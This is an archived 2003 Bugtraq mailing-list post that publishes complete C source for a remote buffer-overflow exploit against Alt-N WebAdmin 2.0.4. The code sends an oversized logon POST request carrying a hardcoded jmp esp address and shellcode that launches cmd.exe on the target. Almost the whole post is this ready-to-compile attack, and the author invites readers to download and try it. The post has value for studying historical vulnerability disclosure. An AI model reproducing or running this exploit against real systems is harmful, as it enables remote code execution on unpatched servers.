Re: WebAdmin from ALT-N remote exploit PoC
From: wirepair (wirepair_at_roguemail.net)
Date: 06/24/03
- Previous message: dave_at_immunitysec.com: "Re: Sharp Zaurus SL-5500 upgrade ROM v3.1 - serious Samba issue"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
To: bugtraq@securityfocus.com Date: Tue, 24 Jun 2003 12:07:18 -0700
werd to mark litchfield for finding this gem.
can also be downloaded from:
http://sh0dan.org/files/wa_exp.c
/* wa_exp.c
WebAdmin.dll remote proof of concept 2.0.4 version.. tried
finding 2.0.5 but all versions
were already patched from the dl sites... this was tested
on a win2ksp2 server, i suggest
using better shellcode this is just something i know
works, just opens a cmd.exe prompt
on the victim box. I imagine this won't be too much harder
to exploit with 2.0.5 unpatched
this took me about 1 hour to write and it was my first
remote win32 exploit, thank you alt-n :D.
word to Mark Litchfield for finding this, i suggest anyone
who is interested in learning win32
exploitation download this and attempt to exploit it, it's
easier than you think.
shouts to innercircle you little kittens you....
-wire
*/
#include <winsock2.h>
#include <stdio.h>
#pragma comment(lib,"ws2_32")
char sc[] =
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x53" // push ebx
"\x56" // push esi
"\x57" // push edi
"\x8b\xe5" // mov esp, ebp
"\x55" // push ebp
"\x8b\xec" // mov ebp, esp
"\x33\xff" // xor edi,edi
"\x57" // push edi
"\x57" // push edi
"\xc6\x45\xf8\x6d" // mov byte ptr ss:[ebp-8],6d
"\xc6\x45\xf9\x73" // mov byte ptr ss:[ebp-7],73
"\xc6\x45\xfa\x76" // mov byte ptr ss:[ebp-6],76
"\xc6\x45\xfb\x63" // mov byte ptr ss:[ebp-5],63
"\xc6\x45\xfc\x72" // mov byte ptr ss:[ebp-4],72
"\xc6\x45\xfd\x74" // mov byte ptr ss:[ebp-3],74
"\xb8\x54\xa2\xe8\x77" // mov
eax,kernel32.loadlibraryA;
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x58" // pop eax
"\x58" // pop eax
"\x58" // pop eax
"\x33\xc0" // xor eax,eax
"\x50" // push eax
"\x50" // push eax
"\xc6\x45\xf8\x63" // mov byte ptr ss:[ebp-8],63
"\xc6\x45\xf9\x6d" // mov byte ptr ss:[ebp-7],6d
"\xc6\x45\xfa\x64" // mov byte ptr ss:[ebp-6],64
"\xc6\x45\xfb\x2e" // mov byte ptr ss:[ebp-5],2e
"\xc6\x45\xfc\x65" // mov byte ptr ss:[ebp-4],65
"\xc6\x45\xfd\x78" // mov byte ptr ss:[ebp-3],78
"\xc6\x45\xfe\x65" // mov byte ptr ss:[ebp-2],65
"\xb8\x4a\x9B\x01\x78" // mov eax, 78019b4a; addy
of system() from msvcrt win2ksp2
"\x50" // push eax
"\x8d\x45\xf8" // lea eax, dword ptr ss:[ebp-8]
"\x50" // push eax
"\xff\x55\xf4" // call dword ptr ss:[ebp-c]
"\x83\xc4\x04" // add esp, 04h
"\x5c" // pop esp
"\xc3"; // ret we're done!
struct sockaddr_in victim;
int main(int argc, char **argv) {
SOCKET s;
WSADATA wsadata;
int x;
DWORD jmpesp = 0x1005d58d; // jmp esp from 2.0.4
webAdmin.dll...
char exp_buf[5000];
char boom[] =
"POST /WebAdmin.dll?View=Logon HTTP/1.1\r\n"
"Accept: image/gif, image/x-xbitmap, image/jpeg,
image/pjpeg, application/x-shockwave-flash, */*\r\n"
"Accept-Language: en-us\r\n"
"Content-Type: application/x-www-form-urlencoded\r\n"
"Accept-Encoding: gzip, deflate\r\n"
"User-Agent: Your Mom\r\n"
"Host: sh0dan.org\r\n"
"Content-Length: 395\r\n"
"Connection: Keep-Alive\r\n"
"Cache-Control: no-cache\r\n"
"Cookie: User=test; Lang=en;
Theme=Standard\r\n\r\nUser=";
char o_args[] =
"&Password=foo&languageselect=en&Theme=Heavy&Logon=Sign+In\r\n\r\n";
if (argc != 3) {
fprintf(stderr, "WebAdmin from Alt-N
2.0.4 Remote Exploit Proof Of Concept\n");
fprintf(stderr, "Werd to Mark Litchfield
for finding this easily exploited hole\n");
fprintf(stderr, "Usage: %s <victim>
<port>\n", argv[0]);
exit(1);
}
WSAStartup(MAKEWORD(2,0),&wsadata);
victim.sin_port = htons(atoi(argv[2]));
victim.sin_addr.s_addr = inet_addr(argv[1]);
victim.sin_family = AF_INET;
memset(exp_buf, 0x90, 5000);
x = strlen(boom);
strncpy(exp_buf, boom, x);
x += 168;
memcpy(exp_buf+x, &jmpesp, 4);
x += 4;
memcpy(exp_buf+x, sc, strlen(sc));
x += strlen(sc);
memcpy(exp_buf+x, o_args, strlen(o_args));
x += strlen(o_args);
exp_buf[x+1] = 0x00;
s = WSASocket(AF_INET,SOCK_STREAM,NULL,NULL,NULL,NULL);
connect(s, (struct sockaddr *)&victim, sizeof(victim));
send(s, exp_buf, x, 0);
printf("booyah");
return(0);
}
_____________________________
For the best comics, toys, movies, and more,
please visit <http://www.tfaw.com/?qt=wmf>
- Previous message: dave_at_immunitysec.com: "Re: Sharp Zaurus SL-5500 upgrade ROM v3.1 - serious Samba issue"
- Messages sorted by: [ date ] [ thread ] [ subject ] [ author ] [ attachment ]
Relevant Pages
|
